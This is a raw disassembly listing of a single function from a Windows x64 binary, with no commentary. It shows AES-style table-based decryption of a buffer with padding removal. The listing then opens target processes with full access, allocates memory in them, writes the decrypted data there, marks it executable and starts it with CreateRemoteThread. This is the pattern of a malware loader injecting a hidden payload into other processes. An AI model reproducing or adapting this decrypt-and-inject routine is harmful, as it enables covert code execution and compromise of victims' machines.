je 0x140003a9b
mov rdx, qword [rsp + 0x6c8]
call fcn.140004eb7
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
call fcn.140004eb7
mov rcx, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x98]
call fcn.140004eb7
mov rsi, qword [rsp + 0xa8]
mov rcx, rsi
mov rdx, qword [rsp + 0xa0]
call fcn.14001180c
mov rcx, rsi
mov rdx, qword [rsp + 0xb0]
call fcn.140011930
mov rsi, qword [rsp + 0x78]
mov rcx, rsi
mov rdx, qword [rsp + 0x80]
call fcn.140011862
mov rcx, rsi
mov rdx, qword [rsp + 0x88]
call fcn.14001191c
mov rsi, qword [rsp + 0x70]
mov rcx, rsi
mov rdx, qword [rsp + 0xb8]
call fcn.14000cb99
mov rcx, rsi
mov rdx, qword [rsp + 0xc0]
call fcn.14000cbf2
mov r15, qword [rsp + 0x60]
test r15, r15
mov r12, qword [rsp + 0x58]
mov r13, qword [rsp + 0x50]
je 0x140003c1a
lea rbx, [r12 + r15]
inc rbx
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
not eax
lea r14, [r15 + 0x10]
lea rsi, [rsp + 0x3c0]
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov word [rsi + 0x18], ax
mov qword [rsi + 0x20], r13
mov rcx, rsi
call fcn.140011980
test rax, rax
je 0x140003b98
mov rcx, qword [rax - 8]
call sub.pdh.dll_PdhRemoveCounter
jmp 0x140003b80
mov rcx, qword [rsp + 0x6d0]
test rcx, rcx
je 0x140003bab
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rsp + 0x6d8]
test rcx, rcx
je 0x140003bbd
call sub.pdh.dll_PdhCloseQuery
test r12, r12
je 0x140003c1a
test r13, r13
je 0x140003c09
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
not eax
lea rsi, [rsp + 0x3c0]
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov word [rsi + 0x18], ax
mov qword [rsi + 0x20], r13
mov rcx, rsi
call fcn.140011980
test rax, rax
je 0x140003c09
mov rcx, qword [rax - 0x20]
mov rdx, qword [rax - 0x18]
call fcn.140004eb7
jmp 0x140003bed
mov r8d, 0x20
mov rcx, r15
mov rdx, r12
call fcn.140011958
mov r14, qword [rsp + 0x6f8]
test r14, r14
je 0x140003c9c
mov r8, qword [rsp + 0x6e0]
test r8, r8
mov rbx, qword [rsp + 0x6c0]
je 0x140003c8b
lea rax, [r14 + rbx]
inc rax
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
not ecx
lea rdx, [rbx + 0x10]
lea rsi, [rsp + 0x3c0]
mov qword [rsi], rbx
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
mov qword [rsi + 0x20], r8
mov rcx, rsi
call fcn.1400111e7
test rax, rax
je 0x140003c8b
mov rcx, qword [rax - 0x88]
mov rdx, qword [rax - 0x80]
call fcn.140004eb7
jmp 0x140003c6c
mov r8d, 0x88
mov rcx, rbx
mov rdx, r14
call fcn.140001015
mov rsi, qword [rsp + 0x6e8]
mov rcx, rsi
mov rdx, qword [rsp + 0x48]
call fcn.1400117c7
mov rcx, rsi
mov rdx, qword [rsp + 0x6f0]
call fcn.140011944
test rdi, rdi
je 0x140004829
mov rax, qword [rsp + 0x3b8]
lea rcx, [rax + rdi*8]
mov qword [rsp + 0x160], rcx
movdqa xmm6, xmmword [0x1400245f0]
movdqa xmm7, xmmword [0x140024600]
movdqa xmm8, xmmword [0x140024610]
mov ebx, 0xff
lea r14, [rsp + 0x5b0]
cmp rax, qword [rsp + 0x160]
je 0x1400046af
mov qword [rsp + 0x170], rax
add rax, 8
mov qword [rsp + 0x168], rax
movdqu xmmword [rsp + 0x2f0], xmm6
movdqu xmmword [rsp + 0x300], xmm7
movdqu xmmword [rsp + 0xd0], xmm8
mov r8d, 0xf1
mov rcx, r14
xor edx, edx
call fcn.1400148b0
lea r15, [rsp + 0x2f0]
mov rcx, r15
mov rdx, r14
call fcn.140006e75
mov r8d, 0xf1
lea r14, [rsp + 0x1a0]
mov rcx, r14
xor edx, edx
call fcn.1400148b0
mov rcx, r15
mov rdx, r14
call fcn.140006e75
lea r11, [0x140025548]
movzx eax, byte [rsp + 0x290]
lea rax, [rax*4 + 3]
mov ecx, 3
lea rdx, [rax - 3]
lea r8, [rcx - 3]
cmp r8, rdx
jae 0x140003e74
cmp r8, 0x3c
jae 0x140004801
cmp rdx, 0x3c
jae 0x140004801
mov edx, dword [rsp + rcx*4 + 0x194]
mov r8d, dword [rsp + rax*4 + 0x194]
mov dword [rsp + rcx*4 + 0x194], r8d
mov dword [rsp + rax*4 + 0x194], edx
lea rdx, [rax - 2]
cmp rdx, 0x3c
jae 0x140004801
mov edx, dword [rsp + rcx*4 + 0x198]
mov r8d, dword [rsp + rax*4 + 0x198]
mov dword [rsp + rcx*4 + 0x198], r8d
mov dword [rsp + rax*4 + 0x198], edx
lea rdx, [rax - 1]
cmp rdx, 0x3c
jae 0x140004801
mov edx, dword [rsp + rcx*4 + 0x19c]
mov r8d, dword [rsp + rax*4 + 0x19c]
mov dword [rsp + rcx*4 + 0x19c], r8d
mov dword [rsp + rax*4 + 0x19c], edx
cmp rax, 0x3c
jae 0x140004801
mov edx, dword [rsp + rcx*4 + 0x1a0]
mov r8d, dword [rsp + rax*4 + 0x1a0]
mov dword [rsp + rcx*4 + 0x1a0], r8d
mov dword [rsp + rax*4 + 0x1a0], edx
add rax, 0xfffffffffffffffc
add rcx, 4
jmp 0x140003da4
mov al, 1
mov ecx, 7
mov dl, byte [rsp + 0x290]
mov r8d, eax
cmp al, dl
adc al, 0
cmp r8b, dl
jae 0x14000400e
cmp rcx, 0x3f
je 0x140004801
mov r8d, dword [rsp + rcx*4 + 0x194]
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [r11 + r9*4]
mov r10d, r8d
shr r10d, 0x10
mov edi, 0xff
and r10d, edi
movzx r10d, byte [r11 + r10*4]
lea rsi, [0x140025d70]
mov r10d, dword [rsi + r10*4]
lea r14, [0x140025970]
xor r10d, dword [r14 + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, edi
movzx r9d, byte [r11 + r9*4]
lea r15, [0x140026170]
xor r10d, dword [r15 + r9*4]
and r8, rbx
movzx r8d, byte [r11 + r8*4]
lea r12, [0x140026570]
xor r10d, dword [r12 + r8*4]
mov r8d, dword [rsp + rcx*4 + 0x198]
mov dword [rsp + rcx*4 + 0x194], r10d
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [r11 + r9*4]
mov r10d, r8d
shr r10d, 0x10
and r10d, edi
movzx r10d, byte [r11 + r10*4]
mov r10d, dword [rsi + r10*4]
xor r10d, dword [r14 + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, edi
movzx r9d, byte [r11 + r9*4]
xor r10d, dword [r15 + r9*4]
and r8, rbx
movzx r8d, byte [r11 + r8*4]
xor r10d, dword [r12 + r8*4]
mov dword [rsp + rcx*4 + 0x198], r10d
mov r8d, dword [rsp + rcx*4 + 0x19c]
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [r11 + r9*4]
mov r10d, r8d
shr r10d, 0x10
and r10d, edi
movzx r10d, byte [r11 + r10*4]
mov r10d, dword [rsi + r10*4]
xor r10d, dword [r14 + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, edi
movzx r9d, byte [r11 + r9*4]
xor r10d, dword [r15 + r9*4]
and r8, rbx
movzx r8d, byte [r11 + r8*4]
xor r10d, dword [r12 + r8*4]
mov dword [rsp + rcx*4 + 0x19c], r10d
mov r8d, dword [rsp + rcx*4 + 0x1a0]
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [r11 + r9*4]
mov r10d, r8d
shr r10d, 0x10
and r10d, edi
movzx r10d, byte [r11 + r10*4]
mov r10d, dword [rsi + r10*4]
xor r10d, dword [r14 + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, edi
movzx r9d, byte [r11 + r9*4]
xor r10d, dword [r15 + r9*4]
and r8, rbx
movzx r8d, byte [r11 + r8*4]
xor r10d, dword [r12 + r8*4]
mov dword [rsp + rcx*4 + 0x1a0], r10d
add rcx, 4
jmp 0x140003e82
mov r8d, 0xf4
lea rcx, [rsp + 0x3c0]
lea rdx, [rsp + 0x5b0]
call fcn.140014210
mov r8d, 0xf4
lea rcx, [rsp + 0x4b4]
lea rdx, [rsp + 0x1a0]
call fcn.140014210
mov byte [rsp + 0x5a8], 1
mov r15, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x118]
test sil, 0xf
je 0x140004071
mov edi, 1
xor esi, esi
xor r14d, r14d
jmp 0x14000453f
mov rcx, rsi
xor edx, edx
call fcn.140004f73
mov rdi, rax
mov r14, rdx
mov rcx, rax
mov rdx, r15
mov r8, rsi
call fcn.140014210
mov rcx, rsi
shr rcx, 4
mov eax, dword [rsp + 0x4b4]
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x4b8]
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x4bc]
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x4c0]
mov dword [rsp + 0xb8], eax
mov al, byte [rsp + 0x5a4]
shr al, 1
dec al
mov byte [rsp + 0xb0], al
mov rdx, rdi
xor r8d, r8d
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x98], r14
mov qword [rsp + 0x178], r15
sub rcx, 1
jb 0x140004516
cmp r8, 0xfffffffffffffff0
je 0x140004801
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], rcx
lea rax, [r8 + 0x10]
mov qword [rsp + 0x70], rax
cmp rax, rsi
ja 0x140004801
mov edx, dword [rdi + r8]
mov r11d, dword [rdi + r8 + 4]
bswap edx
xor edx, dword [rsp + 0x88]
bswap r11d
xor r11d, dword [rsp + 0x80]
mov ecx, dword [rdi + r8 + 8]
bswap ecx
xor ecx, dword [rsp + 0xc0]
mov qword [rsp + 0x78], r8
mov ebp, dword [rdi + r8 + 0xc]
bswap ebp
xor ebp, dword [rsp + 0xb8]
mov eax, 0x3c
lea r9, [rsp + 0x4e0]
mov r12b, byte [rsp + 0xb0]
cmp rax, 4
jbe 0x140004801
mov qword [rsp + 0x48], rax
mov eax, edx
shr eax, 0x18
mov r8d, ebp
shr r8d, 0x10
mov r15d, 0xff
and r8d, r15d
lea r13, [0x140025d70]
mov r10d, dword [r13 + r8*4]
lea rsi, [0x140025970]
xor r10d, dword [rsi + rax*4]
mov eax, ecx
shr eax, 8
and eax, r15d
lea rbx, [0x140026170]
xor r10d, dword [rbx + rax*4]
mov eax, r11d
and eax, r15d
lea rdi, [0x140026570]
xor r10d, dword [rdi + rax*4]
xor r10d, dword [r9 - 0x1c]
mov eax, r11d
shr eax, 0x18
mov r8d, edx
shr r8d, 0x10
and r8d, r15d
mov r14d, dword [r13 + r8*4]
xor r14d, dword [rsi + rax*4]
mov eax, ebp
shr eax, 8
and eax, r15d
xor r14d, dword [rbx + rax*4]
mov eax, ecx
and eax, r15d
xor r14d, dword [rdi + rax*4]
xor r14d, dword [r9 - 0x18]
mov eax, ecx
shr eax, 0x18
mov r8d, r11d
shr r8d, 0x10
and r8d, r15d
mov r8d, dword [r13 + r8*4]
xor r8d, dword [rsi + rax*4]
mov eax, edx
shr eax, 8
and eax, r15d
xor r8d, dword [rbx + rax*4]
mov eax, ebp
and eax, r15d
xor r8d, dword [rdi + rax*4]
xor r8d, dword [r9 - 0x14]
shr ebp, 0x18
shr ecx, 0x10
and ecx, r15d
mov eax, dword [r13 + rcx*4]
xor eax, dword [rsi + rbp*4]
shr r11d, 8
and r11d, r15d
xor eax, dword [rbx + r11*4]
and edx, r15d
xor eax, dword [rdi + rdx*4]
xor eax, dword [r9 - 0x10]
sub r12b, 1
jb 0x140004380
cmp qword [rsp + 0x48], 8
je 0x140004801
mov ecx, r14d
and ecx, r15d
mov edx, r8d
shr edx, 8
and edx, r15d
lea rbx, [0x140026170]
mov edx, dword [rbx + rdx*4]
mov r11d, eax
shr r11d, 0x10
and r11d, r15d
mov ebp, r10d
shr ebp, 0x18
lea rdi, [0x140026570]
xor edx, dword [rdi + rcx*4]
lea r13, [0x140025d70]
xor edx, dword [r13 + r11*4]
lea rsi, [0x140025970]
xor edx, dword [rsi + rbp*4]
xor edx, dword [r9 - 0xc]
mov ecx, r14d
shr ecx, 0x18
mov r11d, r10d
shr r11d, 0x10
and r11d, r15d
mov r11d, dword [r13 + r11*4]
xor r11d, dword [rsi + rcx*4]
mov ecx, eax
shr ecx, 8
and ecx, r15d
xor r11d, dword [rbx + rcx*4]
mov ecx, r8d
and ecx, r15d
xor r11d, dword [rdi + rcx*4]
xor r11d, dword [r9 - 8]
mov ebp, r8d
shr ebp, 0x18
mov ecx, r14d
shr ecx, 0x10
and ecx, r15d
mov ecx, dword [r13 + rcx*4]
xor ecx, dword [rsi + rbp*4]
mov ebp, r10d
shr ebp, 8
and ebp, r15d
xor ecx, dword [rbx + rbp*4]
mov ebp, eax
and ebp, r15d
xor ecx, dword [rdi + rbp*4]
xor ecx, dword [r9 - 4]
shr eax, 0x18
shr r8d, 0x10
and r8d, r15d
mov ebp, dword [r13 + r8*4]
xor ebp, dword [rsi + rax*4]
mov rax, qword [rsp + 0x48]
shr r14d, 8
and r14d, r15d
xor ebp, dword [rbx + r14*4]
and r10d, r15d
xor ebp, dword [rdi + r10*4]
xor ebp, dword [r9]
add r9, 0x20
add rax, 0xfffffffffffffff8
jmp 0x140004196
cmp qword [rsp + 0x48], 8
je 0x140004801
mov ecx, r14d
mov r11d, 0xff
and ecx, r11d
lea rsi, [0x140026970]
movzx ecx, byte [rcx + rsi]
shl ecx, 0x18
mov edx, r8d
shr edx, 8
and edx, r11d
movzx edx, byte [rdx + rsi]
shl edx, 0x10
or edx, ecx
mov ecx, eax
shr ecx, 0x10
and ecx, r11d
movzx ecx, byte [rcx + rsi]
shl ecx, 8
or ecx, edx
mov edx, r10d
shr edx, 0x18
movzx edx, byte [rdx + rsi]
or edx, ecx
mov ecx, dword [r9 - 0xc]
bswap ecx
xor ecx, edx
mov rdi, qword [rsp + 0xa0]
mov r12, qword [rsp + 0x78]
mov dword [rdi + r12], ecx
mov ecx, r8d
and ecx, r11d
movzx ecx, byte [rcx + rsi]
shl ecx, 0x18
mov edx, eax
shr edx, 8
and edx, r11d
movzx edx, byte [rdx + rsi]
shl edx, 0x10
or edx, ecx
mov ecx, r10d
shr ecx, 0x10
and ecx, r11d
movzx ecx, byte [rcx + rsi]
shl ecx, 8
or ecx, edx
mov edx, r14d
shr edx, 0x18
movzx edx, byte [rdx + rsi]
or edx, ecx
mov ecx, dword [r9 - 8]
bswap ecx
xor ecx, edx
mov dword [rdi + r12 + 4], ecx
mov ecx, eax
and ecx, r11d
movzx ecx, byte [rcx + rsi]
shl ecx, 0x18
mov edx, r10d
shr edx, 8
and edx, r11d
movzx edx, byte [rdx + rsi]
shl edx, 0x10
or edx, ecx
mov ecx, r14d
shr ecx, 0x10
and ecx, r11d
movzx ecx, byte [rcx + rsi]
shl ecx, 8
or ecx, edx
mov edx, r8d
shr edx, 0x18
movzx edx, byte [rdx + rsi]
or edx, ecx
mov ecx, dword [r9 - 4]
bswap ecx
xor ecx, edx
mov dword [rdi + r12 + 8], ecx
and r10d, r11d
movzx ecx, byte [r10 + rsi]
shl ecx, 0x18
shr r14d, 8
and r14d, r11d
movzx edx, byte [r14 + rsi]
shl edx, 0x10
or edx, ecx
shr r8d, 0x10
and r8d, r11d
movzx ecx, byte [r8 + rsi]
shl ecx, 8
or ecx, edx
shr eax, 0x18
movzx eax, byte [rax + rsi]
or eax, ecx
mov ecx, dword [r9]
bswap ecx
xor ecx, eax
mov dword [rdi + r12 + 0xc], ecx
xor eax, eax
mov ebx, 0xff
mov rsi, qword [rsp + 0xa8]
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x50]
cmp rax, 0x10
je 0x1400044fd
mov cl, byte [r8 + rax]
xor byte [rdx + rax], cl
inc rax
jmp 0x1400044eb
mov rax, r12
add rax, r15
add rdx, 0x10
mov r8, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
jmp 0x14000410e
cmp byte [rsp + 0x5a8], 0
je 0x140004537
cmp rsi, 0x10
jb 0x140004537
movzx eax, byte [rsi + rdi - 1]
sub rsi, rax
mov eax, 0
cmovb rsi, rax
mov r15, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
mov rcx, r15
call fcn.140004eb7
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], r14
mov qword [rsp + 0x118], rsi
lea rcx, [rsp + 0x3c0]
mov rdx, rdi
mov r8, rsi
call fcn.140005217
mov rax, qword [rsp + 0x170]
mov r8d, dword [rax]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.kernel32.dll_OpenProcess]
mov r14, rax
inc rax
cmp rax, 1
jbe 0x1400047fc
mov r15, qword [rsp + 0x3d0]
mov dword [rsp + 0x20], 4
mov rcx, r14
xor edx, edx
mov r8, r15
mov r9d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov rdi, rax
and qword [rsp + 0x1a0], 0
mov rsi, qword [rsp + 0x3c0]
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rdi
mov r8, rsi
mov r9, r15
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov r12d, 0
test eax, eax
jne 0x14000460e
call fcn.14001360b
mov r12d, 1
mov dword [rsp + 0x5b0], 0x40
lea rax, [rsp + 0x5b0]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rdi
mov r8, r15
mov r9d, 0x40
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
test eax, eax
je 0x140004644
xor r15d, r15d
jmp 0x14000464f
call fcn.14001360b
mov r15d, 1
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, r14
xor edx, edx
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
inc rax
cmp rax, 1
jbe 0x1400047fc
mov rcx, r15
xor edx, edx
call section..text
mov rcx, r12
xor edx, edx
call section..text
mov rdx, qword [rsp + 0x3c8]
mov rcx, rsi
call fcn.140004eb7
mov rax, qword [rsp + 0x168]
jmp 0x140003cfc
cmp qword [rsp + 0x6a8], 0
je 0x1400046cc
mov edx, 8
mov rcx, qword [rsp + 0x3b8]
call fcn.140013480
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
call fcn.140004eb7
movaps xmm6, xmmword [rsp + 0x780]
movaps xmm7, xmmword [rsp + 0x790]
movaps xmm8, xmmword [rsp + 0x7a0]
add rsp, 0x7b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r12, r14
lea r15, [rsp + 0x750]
movd xmm6, dword [rsp + 0x2f0]
movd xmm7, dword [rsp + 0x2f8]
mov esi, 8
mov ecx, 8
call fcn.140004fd0
mov rdi, rax
movabs rax, 0x72657475706d6f43
mov qword [rdi], rax
mov r14, qword [r15 - 8]
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rsp + 0x5d0], xmm2
movaps xmmword [rsp + 0x5c0], xmm1
movdqa xmmword [rsp + 0x5b0], xmm0
cmp r14, 3
jne 0x140004780
xor edi, edi
jmp 0x1400047e5
mov rbx, rdx
mov ecx, 0x60
mov edx, 8
call fcn.14000befe
mov rsi, rax
mov qword [rax], r14
movdqa xmm0, xmmword [rsp + 0x5b0]
movaps xmm1, xmmword [rsp + 0x5c0]
movaps xmm2, xmmword [rsp + 0x5d0]
movdqu xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
movups xmmword [rax + 0x28], xmm2
mov dword [rax + 0x38], ebp
movd dword [rax + 0x3c], xmm7
mov qword [rax + 0x40], rdi
mov qword [rax + 0x48], rbx
mov qword [rax + 0x50], 8
movd dword [rax + 0x58], xmm6
movd dword [rax + 0x5c], xmm6
mov edi, 1
mov r14, r12
jmp 0x140001a01
mov ecx, 8
mov rdx, rsi
call fcn.140021e86
ud2
call fcn.14001360b
ud2
mov ecx, 8
mov edx, 0x120
jmp 0x1400047f5
mov ecx, 8
mov edx, 0xfa0
jmp 0x1400047f5
mov ecx, 8
mov edx, 0x38
jmp 0x1400047f5
call fcn.14000c619
ud2